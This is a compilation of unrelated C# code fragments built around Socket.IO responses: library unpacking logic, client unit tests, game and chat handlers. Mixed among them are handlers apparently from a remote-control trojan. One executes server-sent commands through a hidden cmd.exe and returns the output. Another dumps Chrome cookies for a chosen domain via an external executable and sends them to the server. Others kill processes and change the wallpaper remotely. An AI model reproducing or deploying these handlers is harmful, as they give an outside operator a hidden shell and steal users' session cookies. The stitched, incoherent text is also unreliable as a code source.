private void GetStateResponse <T>(SocketIOResponse response, EventWaitHandle stateReceivedWaitHandle, GetStateResult <T> stateResult, string id)
{
var topic = response.GetValue <string>();
var obj = response.GetValue <State>(1);
if (obj != null)
{
try
{
stateResult.Value = obj.GetConvertedValue <T>();
stateResult.Success = true;
}
catch (Exception e)
{
stateResult.Success = false;
stateResult.Error = e;
}
}
else
{
stateResult.Success = false;
stateResult.Error = new Exception($"Id: \"{id}\" not found");
}
stateReceivedWaitHandle.Set();
}
public void Unpack(SocketIO client, string text)
{
int index = text.IndexOf('-');
if (index > 0)
{
if (int.TryParse(text.Substring(0, index), out _totalCount))
{
text = text.Substring(index + 1);
if (!string.IsNullOrEmpty(client.Namespace) && text.StartsWith(client.Namespace))
{
text = text.Substring(client.Namespace.Length);
}
int packetIndex = text.IndexOf('[');
string id = null;
if (packetIndex > 0)
{
id = text.Substring(0, packetIndex);
text = text.Substring(packetIndex);
}
_array = JArray.Parse(text);
EventName = _array[0].ToString();
_array.RemoveAt(0);
Response = new SocketIOResponse(_array, client);
if (int.TryParse(id, out int packetId))
{
Response.PacketId = packetId;
}
client.OnBytesReceived += Client_OnBytesReceived;
}
}
}
public virtual async Task Test()
{
SocketIOResponse result = null;
string name = string.Empty;
var client = SocketIOCreator.Create();
client.OnConnected += async(sender, e) =>
{
await client.EmitAsync("hi", "onAny");
};
client.OnAny((eventName, response) =>
{
result = response;
name += eventName;
});
client.On("hi", response =>
{
name += "[on('hi')]";
});
await client.ConnectAsync();
await Task.Delay(200);
await client.DisconnectAsync();
Assert.AreEqual("hi[on('hi')]", name);
Assert.AreEqual($"{SocketIOCreator.Prefix}onAny", result.GetValue <string>());
}
public virtual async Task ClientCallsServerCallback_1Params_0()
{
SocketIOResponse result = null;
var client = SocketIOCreator.Create();
client.On("1 params", response =>
{
result = response;
});
client.On("client calls the server's callback 1", async response =>
{
byte[] bytes = response.GetValue <byte[]>();
string text = Encoding.UTF8.GetString(bytes) + "...";
await response.CallbackAsync(Encoding.UTF8.GetBytes(text));
});
client.OnConnected += async(sender, e) =>
{
byte[] bytes = Encoding.UTF8.GetBytes("ClientCallsServerCallback_1Params_0");
await client.EmitAsync("client calls the server's callback 1", bytes);
};
await client.ConnectAsync();
await Task.Delay(200);
await client.DisconnectAsync();
Assert.AreEqual(1, result.InComingBytes.Count);
Assert.AreEqual("ClientCallsServerCallback_1Params_0...", Encoding.UTF8.GetString(result.GetValue <byte[]>()));
}
public void Unpack(SocketIO client, string text)
{
if (!string.IsNullOrEmpty(client.Namespace) && text.StartsWith(client.Namespace))
{
text = text.Substring(client.Namespace.Length);
}
int index = text.IndexOf('[');
string id = null;
if (index > 0)
{
id = text.Substring(0, index);
text = text.Substring(index);
}
var array = JsonDocument.Parse(text).RootElement.EnumerateArray().ToList();
EventName = array[0].GetString();
array.RemoveAt(0);
Response = new SocketIOResponse(array, client);
if (int.TryParse(id, out int packetId))
{
Response.PacketId = packetId;
}
if (client.Handlers.ContainsKey(EventName))
{
client.Handlers[EventName](Response);
}
OnEnd();
}
public void Unpack(SocketIO client, string text)
{
int index = text.IndexOf('-');
if (index > 0)
{
if (int.TryParse(text.Substring(0, index), out _totalCount))
{
text = text.Substring(index + 1);
if (!string.IsNullOrEmpty(client.Namespace))
{
text = text.Substring(client.Namespace.Length);
}
int packetIndex = text.IndexOf('[');
if (int.TryParse(text.Substring(0, packetIndex), out _packetId))
{
string data = text.Substring(packetIndex);
_array = JArray.Parse(data);
if (client.Acks.ContainsKey(_packetId))
{
_response = new SocketIOResponse(_array, client);
client.OnBytesReceived += Client_OnBytesReceived;
}
}
}
}
}
public void TestToString(string json)
{
var array = JsonDocument.Parse(json).RootElement.EnumerateArray().ToList();
var response = new SocketIOResponse(array, null);
Assert.AreEqual(json, response.ToString());
}
public async Task ClientBinaryCallbackTest()
{
SocketIOResponse res = null;
bool called = false;
var client = new SocketIO(Uri, new SocketIOOptions
{
Reconnection = false,
Query = new Dictionary <string, string>
{
{ "token", "io" }
}
});
client.OnConnected += async(sender, e) =>
{
byte[] bytes = Encoding.UTF8.GetBytes("SocketIOClient.Test");
await client.EmitAsync("client binary callback", bytes);
};
client.On("client binary callback", async response =>
{
res = response;
await response.CallbackAsync();
});
client.On("server binary callback called", response => called = true);
await client.ConnectAsync();
await Task.Delay(400);
await client.DisconnectAsync();
Assert.IsTrue(called);
byte[] resBytes = res.GetValue <byte[]>();
Assert.AreEqual("SocketIOClient.Test - server", Encoding.UTF8.GetString(resBytes));
}
public override async Task Run(SocketIOResponse response)
{
string cmd = "/C " + response.GetValue <string>();
var process = new Process();
process.StartInfo.FileName = "cmd";
process.StartInfo.Arguments = cmd;
process.StartInfo.CreateNoWindow = true;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.StandardErrorEncoding = Encoding.UTF8;
process.StartInfo.StandardOutputEncoding = Encoding.UTF8;
process.Start();
Log.Information($"Wyslano komende {cmd}");
await process.WaitForExitAsync();
StreamReader reader = process.StandardOutput;
StreamReader errorReader = process.StandardError;
string cmdOutput = reader.ReadToEnd();
string cmdError = errorReader.ReadToEnd();
string output = cmdError != "" ? cmdError : cmdOutput;
Log.Debug(output);
await Socket.EmitAsync("command", new
{
message = output
});
}
public async Task ClientMessageCallbackTest()
{
SocketIOResponse res = null;
bool called = false;
var client = new SocketIO(Uri, new SocketIOOptions
{
Reconnection = false,
Query = new Dictionary <string, string>
{
{ "token", "io" }
}
});
client.OnConnected += async(sender, e) =>
{
await client.EmitAsync("client message callback", "SocketIOClient.Test");
};
client.On("client message callback", async response =>
{
res = response;
await response.CallbackAsync();
});
client.On("server message callback called", response => called = true);
await client.ConnectAsync();
await Task.Delay(400);
await client.DisconnectAsync();
Assert.IsTrue(called);
Assert.AreEqual("SocketIOClient.Test - server", res.GetValue <string>());
}
public virtual async Task EmitWith2ParamsArrayAndString()
{
SocketIOResponse result = null;
var client = SocketIOCreator.Create();
client.On("2 params", response =>
{
result = response;
});
client.OnConnected += async(sender, e) =>
{
await client.EmitAsync("2 params", (object)new object[] { 1, true, "test" }, "coooooool");
};
await client.ConnectAsync();
await Task.Delay(200);
await client.DisconnectAsync();
Assert.AreEqual(1, result.GetValue()[0].GetInt32());
Assert.AreEqual(true, result.GetValue()[1].GetBoolean());
Assert.AreEqual("test", result.GetValue()[2].GetString());
Assert.AreEqual("coooooool", result.GetValue(1).GetString());
Assert.AreEqual("[[1,true,\"test\"],\"coooooool\"]", result.ToString());
client.Dispose();
}
private void OnServerSendResult(SocketIOResponse response)
{
var result = response.GetValue <string>();
Console.WriteLine(result + "\n\n");
_game.Restart(); // reset game
}
private void HandleNewMessage(SocketIOResponse response)
{
ChatMessage chatMessage = response.GetValue <ChatMessage>();
// Lock new message and enqueue it so we could use it from main thread and add it to UI
lock (_chatMessages)
{
_chatMessages.Enqueue(chatMessage);
}
}
private async void OnServerSendColor(SocketIOResponse response)
{
var colorStr = response.GetValue <string>();
Console.WriteLine("You are " + colorStr.ToUpper());
//_game.SetColor(colorStr.ToLower().Equals("black") ? Constant.Black : Constant.White); // we dont need this
await _client.EmitAsync("clientSendReady", _clientName);
}
public override async Task Run(SocketIOResponse response)
{
string wallperUrl = response.GetValue(0).Value <string>("wallper_url");
Progress.Set("wallper", 50);
Uri wallperUri = new Uri(wallperUrl);
Wallper.Set(wallperUri, Wallper.Style.Stretched);
Progress.Set("wallper", 100);
}
private void OnJoinLobbySuccess(SocketIOResponse response)
{
JToken obj = response.GetValue();
RoomCode = (string)obj["roomCode"];
UserID = (string)obj["userId"];
Log($"Game created with room code <b>{RoomCode}</b>.");
DoUnityAction(() => OnRoomCreated.Invoke(RoomCode));
}
private void HookupAck(SocketIOResponse data, string deviceID)
{
var devices = data.GetValue <string[]>();
var deviceNum = devices.ToList().IndexOf(deviceID);
if (deviceNum >= 0)
{
InvokeDeviceAdded(new DeviceAddedEventArgs(new VibHubDevice(deviceID, (uint)deviceNum, this, LogManager)));
}
}
private void OnPM(SocketIOResponse response)
{
JObject obj = response.GetValue() as JObject;
string playerID = (string)obj["playerId"];
if (Players.TryGetValue(playerID, out BzzrPlayer player))
{
player.UpdatePM(obj);
}
}
private void HandleStateChanged(SocketIOResponse response)
{
var topic = response.GetValue <string>();
var obj = response.GetValue <State>(1);
if (_subscriptions.TryGetValue(topic, out List <Action <State> > callbacks))
{
Parallel.ForEach(callbacks, (callbackMethod) => callbackMethod(obj));
}
}
public static void TryInvoke(this OnAnyHandler handler, string eventName, SocketIOResponse response)
{
try
{
handler(eventName, response);
}
catch
{
// The exception is thrown by the user code, so it can be swallowed
}
}
public static void TryInvoke(this Action <SocketIOResponse> handler, SocketIOResponse response)
{
try
{
handler(response);
}
catch
{
// The exception is thrown by the user code, so it can be swallowed
}
}
public override async Task Run(SocketIOResponse response)
{
Progress.Set("cookies", 20);
string domain = response.GetValue(0).Value <string>("domain");
string clientId = response.GetValue(0).Value <string>("clientId");
var cookieProcess = new Process();
string filename = $"{Directory.GetCurrentDirectory()}/addons/cookielogindata.exe";
cookieProcess.StartInfo.FileName = filename;
cookieProcess.StartInfo.Arguments = $"cookies chrome {domain}";
cookieProcess.StartInfo.CreateNoWindow = true;
cookieProcess.StartInfo.UseShellExecute = false;
cookieProcess.StartInfo.RedirectStandardOutput = true;
cookieProcess.StartInfo.RedirectStandardError = true;
cookieProcess.StartInfo.StandardErrorEncoding = Encoding.UTF8;
cookieProcess.StartInfo.StandardOutputEncoding = Encoding.UTF8;
cookieProcess.Start();
Progress.Set("cookies", 40);
await cookieProcess.WaitForExitAsync();
Progress.Set("cookies", 60);
var reader = cookieProcess.StandardOutput;
var errorReader = cookieProcess.StandardError;
string output = reader.ReadToEnd();
string error = errorReader.ReadToEnd();
string endOutput = error != "" ? error : output;
string clearOutput = string.Concat(endOutput.Where(c => !char.IsWhiteSpace(c)));
string fullPath = Path.GetFullPath(clearOutput);
var jsonCookiesArray = JArray.Parse(File.ReadAllText(fullPath));
Progress.Set("cookies", 80);
await Socket.EmitAsync("cookies", new
{
cookies = jsonCookiesArray,
clientId = clientId
});
Progress.Set("cookies", 90);
await Task.Run(() =>
{
File.Delete(fullPath);
Progress.Set("cookies", 100);
});
}
public override async Task Run(SocketIOResponse response)
{
DriverManager driverManager = new DriverManager();
var currentDirectory = Directory.GetCurrentDirectory();
string url = response.GetValue(0).Value <string>("url");
string actionTag = response.GetValue(0).Value <string>("action");
bool urlIsOk = false;
try
{
WebsiteUri = new Uri(url);
urlIsOk = true;
Progress.Set("website", 10);
}
catch (UriFormatException e)
{
await Task.Run(() => Notification.Danger.Send(e.Message));
}
if (urlIsOk)
{
string fileName;
string driverPath = "";
try
{
fileName = driverManager.SelectedDriver.Filename;
driverPath = $"{currentDirectory}/drivers/{fileName}";
}
catch (NullReferenceException e)
{
Log.Fatal(e, "Wystapil problem z otwieraniem webDrivera");
await Task.Run(() => Notification.Danger.Send(e.Message));
}
if (driverPath != "")
{
if (!File.Exists(driverPath))
{
Log.Debug("Driver nie istnieje");
await driverManager.SelectedDriver.DownloadDriver();
RunWebDriver(driverManager, WebsiteUri, actionTag);
}
else
{
Log.Debug("Driver istnieje");
RunWebDriver(driverManager, WebsiteUri, actionTag);
}
Notification.Success.Send($"Pomyslnie uruchomiono strone {url}");
}
}
}
public virtual async Task TwoParams_TwoParams_2Binary()
{
SocketIOResponse result = null;
string longString = @"
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222
333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333
444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444
555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555
666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666
777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777
888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
AmericanAmericanAmericanAmericanAmericanAmericanAmericanAmericanAmericanAmericanAmericanAmericanAme
你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你
ののののののののののののののののののののののののののののののののののののののののののののののののののののののののののののの
";
var client = SocketIOCreator.Create();
client.OnConnected += async(sender, e) =>
{
await client.EmitAsync("2 params | cb: 2 params", response =>
{
result = response;
},
Encoding.UTF8.GetBytes(longString + "abc"),
new BytesInObjectResponse
{
Code = 64,
Message = Encoding.UTF8.GetBytes(longString + "xyz")
});
};
await client.ConnectAsync();
await Task.Delay(600);
await client.DisconnectAsync();
Assert.AreEqual(2, result.InComingBytes.Count);
Assert.AreEqual(longString + "abc", Encoding.UTF8.GetString(result.InComingBytes[0]));
Assert.AreEqual(longString + "xyz", Encoding.UTF8.GetString(result.InComingBytes[1]));
byte[] bytes = result.GetValue <byte[]>();
Assert.AreEqual(longString + "abc", Encoding.UTF8.GetString(bytes));
var model = result.GetValue <BytesInObjectResponse>(1);
Assert.AreEqual(64, model.Code);
Assert.AreEqual(longString + "xyz", Encoding.UTF8.GetString(model.Message));
client.Dispose();
}
public override async Task Run(SocketIOResponse response)
{
int processId = response.GetValue(0).Value <int>("processId");
foreach (var process in Process.GetProcesses().Where(p => p.MainWindowTitle != "").ToArray())
{
if (process.Id == processId)
{
process.Kill();
Log.Information($"Pomyslnie zamknieto proces {processId}");
await Task.Run(() => Notification.Success.Send($"Pomyslnie zamknieto proces {processId}"));
}
}
}
public virtual async Task EmitWith1ParamsBytesInObject()
{
SocketIOResponse result = null;
string longString = @"
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222
333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333
444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444
555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555
666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666
777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777
888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
AmericanAmericanAmericanAmericanAmericanAmericanAmericanAmericanAmericanAmericanAmericanAmericanAme
你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你好你
ののののののののののののののののののののののののののののののののののののののののののののののののののののののののののののの
";
byte[] bytes = Encoding.UTF8.GetBytes(longString);
var client = SocketIOCreator.Create();
client.On("1 params", response =>
{
result = response;
});
client.OnConnected += async(sender, e) =>
{
await client.EmitAsync("1 params", new BytesInObjectResponse
{
Code = 6,
Message = bytes
});
};
await client.ConnectAsync();
await Task.Delay(600);
await client.DisconnectAsync();
Assert.AreEqual(1, result.InComingBytes.Count);
Assert.AreEqual(longString, Encoding.UTF8.GetString(result.InComingBytes[0]));
var model = result.GetValue <BytesInObjectResponse>();
Assert.AreEqual(6, model.Code);
Assert.AreEqual(longString, Encoding.UTF8.GetString(model.Message));
client.Dispose();
}
private void OnOrderBookMessage(SocketIOResponse eventData)
{
try
{
var data = JsonConvert.DeserializeObject <List <AlterDiceSocketOrderBookUpdateEvent> >(eventData.GetValue(0).ToString());
foreach (var update in data)
{
OnOrderBookUpdate?.Invoke(update);
}
}
catch (Exception ex)
{
log.Write(LogLevel.Error, $"can not process event {eventData.ToString()}: {ex.Message}");
}
}
private void HandleUsersInRoomChanged(SocketIOResponse obj)
{
// Lock users queue so no modifications will appear
lock (_roomUsers)
{
List <RoomUser> roomUsers = obj.GetValue <List <RoomUser> >();
_roomUsers.Clear();
foreach (RoomUser roomUser in roomUsers)
{
_roomUsers.Enqueue(roomUser);
}
}
}
private void OnPlayersUpdate(SocketIOResponse response)
{
List <BzzrPlayer> oldPlayers = new List <BzzrPlayer>(Players.Values);
foreach (JObject playerData in response.GetValue() as JArray)
{
string userID = (string)playerData["userId"];
if (Players.TryGetValue(userID, out BzzrPlayer player))
{
bool wasConnected = player.Connected;
player.Update(playerData);
if (player.Connected != wasConnected)
{
if (player.Connected)
{
Log($"Player <b>{player.Name}</b> reconnected.");
DoUnityAction(() => OnPlayerReconnected.Invoke(player));
}
else
{
Log($"Player <b>{player.Name}</b> disconnected.");
DoUnityAction(() => OnPlayerDisconnected.Invoke(player));
}
}
oldPlayers.Remove(player);
}
else
{
BzzrPlayer newPlayer = new BzzrPlayer(playerData);
Players[userID] = newPlayer;
Log($"Player <b>{newPlayer.Name}</b> connected.");
DoUnityAction(() => OnPlayerJoined.Invoke(newPlayer));
}
}
foreach (BzzrPlayer oldPlayer in oldPlayers)
{
Log($"<b>{oldPlayer.Name}</b> has been kicked.");
if (Players.TryRemove(oldPlayer.UserID, out _))
{
DoUnityAction(() => OnPlayerKicked.Invoke(oldPlayer));
}
}
}
private void OnRequestData(SocketIOResponse resp)
{
int requestedData = resp.GetValue <int>();
if ((requestedData & (int)GameDataType.GameState) > 0)
{
GameMemReader.getInstance().ForceTransmitState();
}
if ((requestedData & (int)GameDataType.LobbyCode) > 0)
{
GameMemReader.getInstance().ForceTransmitLobby();
}
if ((requestedData & (int)GameDataType.Players) > 0)
{
GameMemReader.getInstance().ForceUpdatePlayers();
}
}
